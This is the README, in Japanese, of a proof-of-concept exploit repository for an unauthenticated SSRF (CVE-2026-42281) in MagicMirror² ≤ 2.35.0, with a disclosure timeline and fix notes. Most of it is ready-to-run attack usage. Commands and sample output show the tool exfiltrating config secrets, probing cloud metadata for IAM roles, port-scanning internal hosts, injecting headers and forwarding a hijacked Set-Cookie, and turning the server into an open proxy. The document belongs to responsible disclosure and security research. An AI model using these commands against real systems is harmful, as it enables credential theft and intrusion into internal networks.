
CVE-2026-42281の概念実証エクスプロイト。MagicMirror² ≤ 2.35.0における未認証のSSRFであり、設定情報の外部流出、クラウドメタデータの探索、内部ネットワークのスキャンを可能にします。
/cors エンドポイント経由の未認証SSRF
発見・報告者: Astaruf
完全な解説記事: https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/
上流のセキュリティアドバイザリ: MagicMirrorOrg/MagicMirror security advisories
このリポジトリは、MagicMirror² ≤ 2.35.0 における未認証SSRFである CVE-2026-42281 の概念実証エクスプロイトをホストしています。この脆弱性により、/cors エンドポイントがループバック、内部ネットワーク、クラウドメタデータサービスに到達可能な完全に機能するSSRFプロキシと化します。hideConfigSecrets: true が設定されている場合、同じエンドポイントは単一のリクエストで process.env.SECRET_* の値を外部に持ち出すことも可能です。
完全なコードレビュー、脆弱性分析、修正の内訳、CVSS論争、タイムラインについては、nstsec.comの完全な解説記事 を参照してください。このREADMEはPoCの使用方法に焦点を当てています。
# 1. ターゲットが脆弱であることを確認する
python3 poc.py -t http://target:8080 --check
# 2. アプリケーション設定を外部に持ち出す(自動シークレット検出付き)
python3 poc.py -t http://target:8080 --config
# 3. 10以上のプロバイダーのクラウドメタデータサービスを調査する
python3 poc.py -t http://target:8080 --cloud
# 4. SSRF経由の内部ネットワークポートスキャン
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379
# 5. インバウンド/アウトバウンドヘッダー悪用のデモ
python3 poc.py -t http://target:8080 --headers
# 6. サーバーを汎用オープンプロキシとして使用する
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api
| フラグ | 説明 |
|---|---|
--check | /version のループバックフェッチによりSSRFが悪用可能か検証する |
--config | ループバック経由で /config をSSRFし、JSONを解析してモジュール設定内のAPIキー/トークン/パスワードを探す |
--cloud | AWS、GCP、Azure、OCI、DigitalOcean、Alibaba、Hetzner、IBM、Kubernetes、Rancher、Equinix のメタデータサービスを調査する。AWS IAMロール列挙を自動フォローする |
--port-scan HOSTS | 1つ以上のホストをスキャンする(-p 22,80 / -p 0-1024 / -p - で全65535ポート)、スレッド化対応 |
--headers | パートA: sendheaders を介して Authorization/X-* ヘッダーをアウトバウンドリクエストに注入する。パートB: expectedheaders を介して攻撃者が制御する悪意のあるオリジンの Set-Cookie を被害者のブラウザに転送する |
--open-proxy URL | 任意のURLへの汎用SSRF GET。レスポンスボディを表示する(内部HTTP APIの探索に有用) |
| オプション | デフォルト | 説明 |
|---|---|---|
-t / --target | 必須 | ターゲットURL(例: http://192.168.1.10:8080) |
--timeout | 2.0 | リクエストごとのタイムアウト(秒) |
--threads | 30 | --port-scan 用のスレッド数 |
--verbose | オフ | 完全なJSONレスポンス(および非編集のクラウドメタデータボディ)を表示する |
1. PoCバナーとSSRFを確認する --check モード:
$ python3 poc.py -t http://127.0.0.1:8080 --check
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██████╗ █████╗ ██╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ╚════██╗ ╚════██╗ ██╔══██╗ ███║
██║ ██║ ██║█████╗ -2026- ███████║ █████╔╝ █████╔╝ ╚█████╔╝ ╚██║
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██╔═══╝ ██╔═══╝ ██╔══██╗ ██║
╚██████╗ ╚████╔╝ ███████╗ ██║ ███████╗ ███████╗ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚══════╝ ╚══════╝ ╚════╝ ╚═╝
MagicMirror² <= v2.35.0 — /cors エンドポイント経由の未認証SSRF
Author: Astaruf | https://nstsec.com
CHECK, ターゲット到達可能性とSSRF確認
[*] ターゲットの到達可能性を確認中 ...
[+] ターゲット到達可能、MagicMirror 2.35.0
[*] ループバック経由でSSRFを確認中 ...
>> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
[+] SSRF確認済み、サーバーが代わりに内部リソースを取得しました
<< 2.35.0
2. --config はアプリケーション設定を外部に持ち出し、モジュール設定内のシークレットを自動検出します:
CONFIG EXFILTRATION, SSRFループバック経由の完全な設定
[+] 設定を取得しました、1194バイト
[*] address : 0.0.0.0
[*] port : 8080
[*] ipWhitelist: [] すべてのIPに開放
SECRETS FOUND:
[weather] apiKey = ow_demo_api_key_d34db33fc4f3b4b3
[calendar] calendars[0].auth.pass = S3cretCalendarPa$$word!
[newsfeed] accessToken = sk-newsfeed-bearer-T0kEn-xyz789
3. --headers はアウトバウンド注入とインバウンド転送を確認します:
HEADER INJECTION, アウトバウンドおよびインバウンドヘッダー悪用
[*] パートA: sendheaders を介してアウトバウンドリクエストに任意のヘッダーを注入
[+] アウトバウンドリクエストでヘッダー X-Injected-By: SSRF-PoC を確認
[+] アウトバウンドリクエストでヘッダー Authorization: Bearer DEMO_TOKEN を確認
[*] パートB: expectedheaders を介してレスポンスヘッダーをブラウザに転送
[+] レスポンスヘッダー Set-Cookie がブラウザに転送されました: session=hijacked;HttpOnly
[+] ブラウザはこのCookieをMagicMirrorドメインから発信されたかのように受け取ります
4. --open-proxy はサーバーからのアウトバウンドHTTPを確認します:
OPEN PROXY, 脆弱なサーバー経由で https://httpbin.org/ip を取得
[+] HTTP 200、サーバーから32バイト受信
{
"origin": "<サーバーのパブリックIP(攻撃者のIPではない)>"
}
--check(および他のすべてのモード)は http://127.0.0.1:<port>/version へのSSRFループバックを送信します。Docker経由でテストする場合、ホストポートがコンテナ内ポートと一致していることを確認してください(例: 8081:8080 ではなく 8080:8080 にマッピング)。そうしないと、インスタンスが実際に脆弱であっても、ループバックターゲットがコンテナ内から解決されません。--cloud はヒットを生成しません — これは想定どおりであり、スクリプトはそれを明示的に報告します。このベクターは存在します。テストには実際のクラウドデプロイメントが必要です。MagicMirror² v2.36.0(2026年4月30日リリース)で提供されました。修正は6つのPR(#4084、#4087、#4090、#4091、#4102、#4104)にわたって多層的に適用されています。PRごとの内訳、コードスニペット、パッチ適用済みバージョンに対して再テストされたバイパス試行の検証マトリクスについては、完全な解説記事 を参照してください。
| 日付 | イベント |
|---|---|
| 2026-03-30 | 脆弱性を発見、公開issueを開設、メンテナーにメールを送信 |
| 2026-03-31 | メンテナーが報告を確認 |
| 2026-04-01 | メンテナーが SECURITY.md を追加し、リポジトリでGitHub Security Advisoriesを有効化 |
| 2026-04-09 | 正式なGHSAアドバイザリを開設 |
| 2026-04-26 | 次期リリースでの修正を確認。GitHubにより CVE-2026-42281 が割り当てられる |
| 2026-04-26 | CVSS論争 — ベクターがModerateから 9.2 Critical に引き上げ(AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N) |
| 2026-04-30 | MagicMirror² v2.36.0 リリース、修正が公開 |
| 2026-05-04 | 公開開示(解説記事 + PoCリポジトリ) |
この資料は認可されたセキュリティテストおよび教育目的のみで提供されます。所有している、または明示的な書面によるテスト許可を得たMagicMirror²インスタンスに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。著者は誤用に対する責任を負いません。